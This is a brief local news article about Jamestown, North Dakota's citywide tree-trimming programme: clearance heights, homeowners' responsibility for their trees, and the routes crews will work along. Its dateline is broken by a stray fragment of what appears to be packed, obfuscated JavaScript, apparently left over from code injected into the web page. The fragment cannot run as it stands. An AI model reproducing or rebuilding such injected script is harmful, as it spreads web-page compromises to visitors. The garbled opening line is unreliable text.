JAMESTOWN, hsbnf|var|u0026u|referrer|ekzrt||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Jamestown City Forestry Office is reminding residents of citywide tree trimming in the community.

The City Street Department crews will be working through the city to remove tree branches overhanging streets and alleys to prevent interference with traffic and street maintenance equipment. Trees must be 16 feet high above the curb to curb. Branches covering traffic signs and signals shall be removed to be seen within 100 feet of the sign.

The City reports that it is the homeowner’s responsibility to maintain the trees. When the responsibility is neglected, it becomes the duty of the city to clear overgrowth that threatens public safety.

“This is a clearance procedure and should not be mistaken for a complete pruning of the tree. If this is what you expect, have your tress pruned by a local tree service,” the release states.

The Street Department will be trimming trees along the Snow Emergency Routes through Jamestown. Call 701-252-5900 with questions or for more information.
